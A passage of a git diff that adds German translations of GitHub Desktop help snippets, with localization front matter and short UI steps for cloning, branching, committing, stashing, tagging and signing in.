+    - Wenn du die Zwei-Faktor-Authentifizierung per SMS eingerichtet hast, rufst du deinen2FA-Code aus einer SMS ab.
+    - Wenn du die Zwei-Faktor-Authentifizierung mit einer TOTP-Anwendung eingerichtet hast, generierst du einen 2FA-Code.
+
+  Gib dann deinen 2FA-Code an der Eingabeaufforderung für {% data variables.product.prodname_dotcom %} ein, und klicke auf **Überprüfen**.
+    ![Das Feld für den 2FA-Authentifizierungscode](/assets/images/help/desktop/2fa-code-field.png)
diff --git a/translations/de-DE/data/reusables/desktop/about-github-desktop.md b/translations/de-DE/data/reusables/desktop/about-github-desktop.md
new file mode 100644
index 0000000000..7bc22e0e55
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/about-github-desktop.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 5ce7a5e1be12c0a523bf5454dd49b802b479bdf2
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133426"
+---
+{% data variables.product.prodname_desktop %} ist ein Open-Source-Werkzeug, das es Dir ermöglicht, produktiver zu sein. {% data variables.product.prodname_desktop %} ermutigt Dich und Dein Team, unter Verwendung von Best Practices mit Git und {% data variables.product.prodname_dotcom %} zusammenzuarbeiten.
+
+Einige der vielen Dinge, die Du mit {% data variables.product.prodname_desktop %} tun kannst, sind:
+- Änderungen an Deinen Commit interaktiv hinzufügen
+- Schnell Co-Autoren zu Deinem Commit hinzufügen
+- Branches mit Pull Requests auschecken und CI-Status anzeigen
+- Geänderte Bilder vergleichen
diff --git a/translations/de-DE/data/reusables/desktop/authenticate-in-browser.md b/translations/de-DE/data/reusables/desktop/authenticate-in-browser.md
new file mode 100644
index 0000000000..07f60094fc
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/authenticate-in-browser.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 957ae8426750627cab3586db4e3ab401b109dd27
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133425"
+---
+1. Gib deine Anmeldeinformationen für {% data variables.product.prodname_dotcom %} ein, und klicke auf **Anmelden**, um dich bei {% data variables.product.prodname_dotcom %} zu authentifizieren.
+  ![Die Schaltfläche „Anmelden“ für {% data variables.product.prodname_dotcom %} im Browser](/assets/images/help/desktop/sign-in-button-browser.png)
+
+  Wenn du dich bereits bei {% data variables.product.prodname_dotcom %} angemeldet hast, folgst du den Aufforderungen, um zu {% data variables.product.prodname_desktop %} zurückzukehren und die Authentifizierung abzuschließen. 
diff --git a/translations/de-DE/data/reusables/desktop/choose-a-branch-to-merge.md b/translations/de-DE/data/reusables/desktop/choose-a-branch-to-merge.md
new file mode 100644
index 0000000000..13dd51f845
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/choose-a-branch-to-merge.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: c118c19b4ec8e2b7a2ddeadeebfe43c879f85566
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133422"
+---
+1. Klicke auf **Verzweigung zum Zusammenzuführen in <em>BRANCH</em> auswählen**.
+![Auswahl einer Branch-Option in der Liste des Branches-Menüs](/assets/images/help/desktop/merge-branch-button-list.png)
diff --git a/translations/de-DE/data/reusables/desktop/choose-a-theme.md b/translations/de-DE/data/reusables/desktop/choose-a-theme.md
new file mode 100644
index 0000000000..2ab736aafc
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/choose-a-theme.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 7e205097061db2a80e3dbc59960207ff73815387
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881114"
+---
+3. Klicke auf **Darstellung**.
+4. Klicke auf das gewünschte Design. Optional kannst du **Design automatisch an System anpassen** auswählen, wenn du möchtest, dass {% data variables.product.prodname_desktop %} immer dem Design auf deinem Computer entspricht.
diff --git a/translations/de-DE/data/reusables/desktop/choose-clone-repository.md b/translations/de-DE/data/reusables/desktop/choose-clone-repository.md
new file mode 100644
index 0000000000..45848715ae
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/choose-clone-repository.md
@@ -0,0 +1,21 @@
+---
+ms.openlocfilehash: 5f13e960a9201623b807d906a00092d657f393cf
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133417"
+---
+1. Klicke im Menü **File** auf **Repository klonen**.
+
+  {% mac %}
+
+  ![Menüoption zum Klonen in der Mac-App](/assets/images/help/desktop/clone-file-menu-mac.png)
+
+  {% endmac %}
+
+  {% windows %}
+
+  ![Menüoption zum Klonen in der Windows-App](/assets/images/help/desktop/clone-file-menu-windows.png)
+
+  {% endwindows %}
diff --git a/translations/de-DE/data/reusables/desktop/choose-local-path.md b/translations/de-DE/data/reusables/desktop/choose-local-path.md
new file mode 100644
index 0000000000..a0e55e6d97
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/choose-local-path.md
@@ -0,0 +1,21 @@
+---
+ms.openlocfilehash: 4f441f97e65687805944e58452eb72a8d310801c
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877078"
+---
+1. Klicke auf **Auswählen**, und navigiere zu einem lokalen Pfad, in den du das Repository klonen möchtest.
+
+  {% mac %}
+
+  ![Die Schaltfläche „choose“ (Auswählen)](/assets/images/help/desktop/clone-choose-button-mac.png)
+
+  {% endmac %}
+
+  {% windows %}
+
+  ![Die Schaltfläche „choose“ (Auswählen)](/assets/images/help/desktop/clone-choose-button-win.png)
+
+  {% endwindows %}
diff --git a/translations/de-DE/data/reusables/desktop/choose-pr-from-list.md b/translations/de-DE/data/reusables/desktop/choose-pr-from-list.md
new file mode 100644
index 0000000000..42094c5937
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/choose-pr-from-list.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: afa7167d20edd77937ee4c4108267cb90bd95f08
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133413"
+---
+1. Klicke in der Liste der Pull Requests auf den Pull Request, den Du anzeigen möchten.
diff --git a/translations/de-DE/data/reusables/desktop/choose-product-authenticate.md b/translations/de-DE/data/reusables/desktop/choose-product-authenticate.md
new file mode 100644
index 0000000000..4aa16d5f70
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/choose-product-authenticate.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 69750e698fa91bc74b88a3c57c0179820136c2c4
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133398"
+---
+1. Klicke rechts neben „{% data variables.product.prodname_enterprise %}-Server“ auf **Anmelden**.
+  ![Die Schaltfläche „Anmelden“ für GitHub Enterprise-Server](/assets/images/help/desktop/sign-in-ghes.png)
diff --git a/translations/de-DE/data/reusables/desktop/click-base-branch-in-drop-down.md b/translations/de-DE/data/reusables/desktop/click-base-branch-in-drop-down.md
new file mode 100644
index 0000000000..b1a1ed4b9a
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/click-base-branch-in-drop-down.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2fb6184a83021ccfac66fa5c89a822b74cd7d229
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133390"
+---
+1. Klicke oben in der App auf {% octicon "git-branch" aria-label="The branch icon" %} **Current Branch**, und klicke dann in der Liste der Branches auf den Branch, auf dem der neue Branch basieren soll.
diff --git a/translations/de-DE/data/reusables/desktop/click-changed-files-header.md b/translations/de-DE/data/reusables/desktop/click-changed-files-header.md
new file mode 100644
index 0000000000..41570c3201
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/click-changed-files-header.md
@@ -0,0 +1,21 @@
+---
+ms.openlocfilehash: af362812d6f59fbf27b4f3bcf9d9b8ed1bb71521
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133389"
+---
+1. Klicke mit der rechten Maustaste auf die Kopfzeile für **geänderte Dateien**.
+  
+  {% mac %}
+
+  ![Die Kopfzeile für geänderte Dateien](/assets/images/help/desktop/mac-changed-file-header.png)
+  
+  {% endmac %}
+  
+  {% windows %}
+  
+  ![Die Kopfzeile für geänderte Dateien](/assets/images/help/desktop/windows-changed-file-header.png)
+  
+  {% endwindows %}
diff --git a/translations/de-DE/data/reusables/desktop/click-clone.md b/translations/de-DE/data/reusables/desktop/click-clone.md
new file mode 100644
index 0000000000..33e1350253
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/click-clone.md
@@ -0,0 +1,22 @@
+---
+ms.openlocfilehash: 9d7e1a282d21518e5e0651fb1cdbc7670b4f5394
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133386"
+---
+1. Klicke auf **Klonen**.
+
+  {% mac %}
+
+  ![Die Schaltfläche „clone“ (Klonen)](/assets/images/help/desktop/clone-button-mac.png)
+
+  {% endmac %}
+
+  {% windows %}
+
+  ![Die Schaltfläche „clone“ (Klonen)](/assets/images/help/desktop/clone-button-win.png)
+
+  {% endwindows %}
+  
diff --git a/translations/de-DE/data/reusables/desktop/click-discard-files.md b/translations/de-DE/data/reusables/desktop/click-discard-files.md
new file mode 100644
index 0000000000..451660336e
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/click-discard-files.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3b190924c1dd634b4ee08a96318bf963bb958b8e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133385"
+---
+1. Klicke auf **Änderungen verwerfen** oder **Ausgewählte Änderungen verwerfen**, um Änderungen in einer oder mehreren Dateien zu verwerfen, oder klicke auf **Alle Änderungen verwerfen**, um die seit dem letzten Commit an allen Dateien vorgenommenen Änderungen zu verwerfen.
diff --git a/translations/de-DE/data/reusables/desktop/click-discard.md b/translations/de-DE/data/reusables/desktop/click-discard.md
new file mode 100644
index 0000000000..ba92990640
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/click-discard.md
@@ -0,0 +1,21 @@
+---
+ms.openlocfilehash: 66420eab0d177ce1fedbf6d1462f064ddcc32ee4
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880597"
+---
+1. Klicke auf **Verwerfen**.
+  
+  {% mac %}
+
+  ![Schaltfläche „Gestashte Änderungen verwerfen“](/assets/images/help/desktop/mac-discard-stashed-changes-button.png)
+  
+  {% endmac %}
+  
+  {% windows %}
+  
+  ![Schaltfläche „Gestashte Änderungen verwerfen“](/assets/images/help/desktop/windows-discard-stashed-changes-button.png)
+  
+  {% endwindows %}
diff --git a/translations/de-DE/data/reusables/desktop/click-pull-requests.md b/translations/de-DE/data/reusables/desktop/click-pull-requests.md
new file mode 100644
index 0000000000..62ef831946
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/click-pull-requests.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e08bdd1bc9269b69ca0051b0c17c9d6cf37f744f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133381"
+---
+1. Klicke im oberen Bereich des Dropdownmenüs auf **Pull Requests**.
diff --git a/translations/de-DE/data/reusables/desktop/click-restore.md b/translations/de-DE/data/reusables/desktop/click-restore.md
new file mode 100644
index 0000000000..fcccb9a1b1
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/click-restore.md
@@ -0,0 +1,21 @@
+---
+ms.openlocfilehash: 85fa8c79f5305fa90ea196ddaa2b3af69c70a625
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133378"
+---
+1. Klicken Sie auf **Wiederherstellen**.
+
+  {% mac %}
+
+  ![Schaltfläche „Gestashte Änderungen wiederherstellen“](/assets/images/help/desktop/mac-restore-stashed-changes-button.png)
+  
+  {% endmac %}
+  
+  {% windows %}
+  
+  ![Schaltfläche „Gestashte Änderungen wiederherstellen“](/assets/images/help/desktop/windows-restore-stashed-changes-button.png)
+  
+  {% endwindows %}
diff --git a/translations/de-DE/data/reusables/desktop/click-save-git-config.md b/translations/de-DE/data/reusables/desktop/click-save-git-config.md
new file mode 100644
index 0000000000..fc610c1bb1
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/click-save-git-config.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1d086698c2b65210481924f1cf3462e61504c0fa
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133374"
+---
+1. Klicken Sie auf **Speichern**.
diff --git a/translations/de-DE/data/reusables/desktop/click-stash-all-changes.md b/translations/de-DE/data/reusables/desktop/click-stash-all-changes.md
new file mode 100644
index 0000000000..9e3bea97a7
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/click-stash-all-changes.md
@@ -0,0 +1,21 @@
+---
+ms.openlocfilehash: a7f4aced2431fc025d946afe450db23fa6898dec
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133373"
+---
+1. Klicke auf **Stashs für alle Änderungen ausführen**.
+  
+  {% mac %}
+
+  ![Menüelement „Stashs für alle Änderungen ausführen“](/assets/images/help/desktop/mac-stash-all-changes.png)
+  
+  {% endmac %}
+  
+  {% windows %}
+  
+  ![Das Menüelement „Stashs für alle Änderungen ausführen“](/assets/images/help/desktop/windows-stash-all-changes.png)
+  
+  {% endwindows %}
diff --git a/translations/de-DE/data/reusables/desktop/click-stashed-changes.md b/translations/de-DE/data/reusables/desktop/click-stashed-changes.md
new file mode 100644
index 0000000000..7425ca88e5
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/click-stashed-changes.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 7faae6fbc844ba7225942823f68a2a1ba4b0c500
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133357"
+---
+1. Klicke auf der linken Randleiste auf **Gestashte Änderungen**.
+  ![Option „Gestashte Änderungen“](/assets/images/help/desktop/stashed-changes.png)
diff --git a/translations/de-DE/data/reusables/desktop/cloning-location-tab.md b/translations/de-DE/data/reusables/desktop/cloning-location-tab.md
new file mode 100644
index 0000000000..0c00ed6014
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/cloning-location-tab.md
@@ -0,0 +1,21 @@
+---
+ms.openlocfilehash: 4d44f95c4a2d1c603545fb20cfcb197441588fb4
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133350"
+---
+1. Klicke auf die Registerkarte, die dem Speicherort des zu klonenden Repositorys entspricht. Du kannst auch auf **URL** klicken, um den Repository-Speicherort manuell einzugeben.
+
+  {% mac %}
+
+  ![Standort-Registerkarten im Menü „Clone a repository“ (Repository klonen)](/assets/images/help/desktop/choose-repository-location-mac.png)
+  
+  {% endmac %}
+
+  {% windows %}
+  
+  ![Standort-Registerkarten im Menü „Clone a repository“ (Repository klonen)](/assets/images/help/desktop/choose-repository-location-win.png)
+  
+  {% endwindows %}
diff --git a/translations/de-DE/data/reusables/desktop/cloning-repository-list.md b/translations/de-DE/data/reusables/desktop/cloning-repository-list.md
new file mode 100644
index 0000000000..303c8d2206
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/cloning-repository-list.md
@@ -0,0 +1,22 @@
+---
+ms.openlocfilehash: f329693cde513b779b2e8fa834161dbfdb022782
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133349"
+---
+1. Wähle in der Liste das zu klonende Repository aus.
+
+
+  {% mac %}
+
+  ![Repository-Liste klonen](/assets/images/help/desktop/clone-a-repository-list-mac.png)
+  
+  {% endmac %}
+
+  {% windows %}
+
+  ![Repository-Liste klonen](/assets/images/help/desktop/clone-a-repository-list-win.png)
+
+  {% endwindows %}
diff --git a/translations/de-DE/data/reusables/desktop/commit-all-desc.md b/translations/de-DE/data/reusables/desktop/commit-all-desc.md
new file mode 100644
index 0000000000..2ceef0fd55
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/commit-all-desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8fd583e5ae317cb58bf56cb209bd992e09fbd5f6
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133346"
+---
+Lass das Kontrollkästchen im oberen Bereich der Liste aktiviert, um einem einzigen Commit **alle Änderungen in allen Dateien** hinzuzufügen.
diff --git a/translations/de-DE/data/reusables/desktop/commit-button.md b/translations/de-DE/data/reusables/desktop/commit-button.md
new file mode 100644
index 0000000000..1191f5387f
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/commit-button.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5c37bea76bc772974953fd5c3d5b14330ab849a8
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133342"
+---
+1. Klicke unter dem Feld „Beschreibung“ auf **An <em>BRANCH</em> committen**.
diff --git a/translations/de-DE/data/reusables/desktop/commit-message.md b/translations/de-DE/data/reusables/desktop/commit-message.md
new file mode 100644
index 0000000000..111509df3a
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/commit-message.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1dc25be08d2c2caf1868eebe53bcaa5666e216bb
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133345"
+---
+1. Gib im unteren Bereich der Liste der Änderungen im Feld „Summary“ (Übersicht) eine kurze, aussagekräftige Commit-Mitteilung ein. Optional kannst Du im Feld „Description“ (Beschreibung) weitere Informationen zur Änderung hinzufügen.
diff --git a/translations/de-DE/data/reusables/desktop/commit-some-desc.md b/translations/de-DE/data/reusables/desktop/commit-some-desc.md
new file mode 100644
index 0000000000..8b04f3827f
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/commit-some-desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7be7fed4509b0a631407735dad35ae2c61a62b19
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133341"
+---
+Um **alle Änderungen an einer oder mehreren Dateien** einem einzigen Commit hinzuzufügen, deaktiviere die Kontrollkästchen neben den auszuschließenden Dateien, sodass nur die Dateien übrig bleiben, die im Commit enthalten sein sollen. Nach dem Auswählen einer Datei kannst du das Kontrollkästchen mit den Tasten `Spacebar` oder `Enter` umschalten.
diff --git a/translations/de-DE/data/reusables/desktop/confirm-discard-files.md b/translations/de-DE/data/reusables/desktop/confirm-discard-files.md
new file mode 100644
index 0000000000..22d3dc4c9a
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/confirm-discard-files.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4ae229d2cd9226024578f45842e3fe41ec5f0094
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883828"
+---
+1. Überprüfe zum Bestätigen der Änderungen die betroffenen Dateien, und klicke auf **Änderungen verwerfen**.
diff --git a/translations/de-DE/data/reusables/desktop/confirm-merging-branch.md b/translations/de-DE/data/reusables/desktop/confirm-merging-branch.md
new file mode 100644
index 0000000000..a2b0744f48
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/confirm-merging-branch.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f3bcc4710f2aacf217aa9236fbd9b1ff641a6282
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147711654"
+---
+1. Klicke auf den Branch, den du in den aktuellen Branch mergen möchtest. Klicke anschließend auf **<em>BRANCH</em> in <em>BRANCH</em> mergen**.
diff --git a/translations/de-DE/data/reusables/desktop/confirm-new-branch-button.md b/translations/de-DE/data/reusables/desktop/confirm-new-branch-button.md
new file mode 100644
index 0000000000..792c2d5215
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/confirm-new-branch-button.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ea69b4c8855481584b81aa3a7501579ee6a1a297
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147885524"
+---
+1. Klicke auf **Branch erstellen**.
diff --git a/translations/de-DE/data/reusables/desktop/confirm-tag.md b/translations/de-DE/data/reusables/desktop/confirm-tag.md
new file mode 100644
index 0000000000..971e08f922
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/confirm-tag.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e0f5d5a24c07032585c29530fa9dd9d28ccec261
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133313"
+---
+1. Klicke auf **Tag erstellen**.
diff --git a/translations/de-DE/data/reusables/desktop/copy-email-git-config.md b/translations/de-DE/data/reusables/desktop/copy-email-git-config.md
new file mode 100644
index 0000000000..4adb3759a4
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/copy-email-git-config.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b534093641efd6911a5266bcfe2bec48b0ef7dab
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147711638"
+---
+1. Kopiere die E-Mail-Adresse, die Du in Deiner lokalen Git-Konfiguration verwenden möchtest.
diff --git a/translations/de-DE/data/reusables/desktop/create-new-branch.md b/translations/de-DE/data/reusables/desktop/create-new-branch.md
new file mode 100644
index 0000000000..3e660f5447
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/create-new-branch.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 420269fb59cbc75c74a62c8dd0646d22b4974c37
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133309"
+---
+1. Klicke auf **Neuer Branch**.
diff --git a/translations/de-DE/data/reusables/desktop/create-tag.md b/translations/de-DE/data/reusables/desktop/create-tag.md
new file mode 100644
index 0000000000..bb80aaa52e
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/create-tag.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4fd09b4b9204b8116d977bd345cc34aa5ea263aa
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884915"
+---
+1. Klicke mit der rechten Maustaste auf den Commit, und klicke auf **Tag erstellen**. ![Auswahl des Menüelements „Tag erstellen“](/assets/images/help/desktop/select-create-tag.png)
diff --git a/translations/de-DE/data/reusables/desktop/current-branch-menu.md b/translations/de-DE/data/reusables/desktop/current-branch-menu.md
new file mode 100644
index 0000000000..e5b2adffdf
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/current-branch-menu.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: b2b58ef3ad30d86252c6a50e99b1fcb6d019b555
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147885660"
+---
+1. Klicke in {% data variables.product.prodname_desktop %} auf {% octicon "git-branch" aria-label="The branch icon" %} **Current Branch** (Aktueller Branch).
+  ![Dropdownmenü „Current Branch“ (Aktueller Branch)](/assets/images/help/desktop/current-branch-menu.png)
diff --git a/translations/de-DE/data/reusables/desktop/delete-branch-mac.md b/translations/de-DE/data/reusables/desktop/delete-branch-mac.md
new file mode 100644
index 0000000000..6db364da05
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/delete-branch-mac.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 516b4ae3a8b9bced06d4b0845af01b13276be2d5
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882555"
+---
+1. Klicke in der Menüleiste auf **Branch**, und klicke dann auf **Löschen**. Du kannst auch <kbd>UMSCHALT</kbd>+<kbd>BEFEHL</kbd>+<kbd>D</kbd> drücken.
diff --git a/translations/de-DE/data/reusables/desktop/delete-branch-win.md b/translations/de-DE/data/reusables/desktop/delete-branch-win.md
new file mode 100644
index 0000000000..93c4454adb
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/delete-branch-win.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: bdf97f9d5d4a8786174bb123e3dd4a3f22e2f890
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133301"
+---
+1. Klicke in der Menüleiste auf **Verzweigung**, und klicke dann auf **Löschen**. Du kannst auch <kbd>Strg</kbd>+<kbd>Umschalt</kbd>+<kbd>D</kbd> drücken.
diff --git a/translations/de-DE/data/reusables/desktop/delete-tag.md b/translations/de-DE/data/reusables/desktop/delete-tag.md
new file mode 100644
index 0000000000..0e3fc5d8a7
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/delete-tag.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 5739ca1f83c33ad0f2101b02d48a6b39395652c6
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877070"
+---
+1. Klicke mit der rechten Maustaste auf den Commit.
+
+    - Wenn ein Commit nur über ein Tag verfügt, klicke auf **Tag TAGNAME löschen**.
+  ![Auswählen des Menüelements zum Löschen von Tags](/assets/images/help/desktop/select-delete-tag.png)
+    - Wenn ein Commit mehrere Tags aufweist, zeige auf **Tag löschen**, und klicke dann auf das Tag, das du löschen möchtest.
+  ![Zeigen auf das Menü „Tag löschen“](/assets/images/help/desktop/delete-tag-multiple.png)
diff --git a/translations/de-DE/data/reusables/desktop/download-desktop-page.md b/translations/de-DE/data/reusables/desktop/download-desktop-page.md
new file mode 100644
index 0000000000..94be4b1bb0
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/download-desktop-page.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8c0d97c9bdfb5b944c6011839052cf7b9d9c7864
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
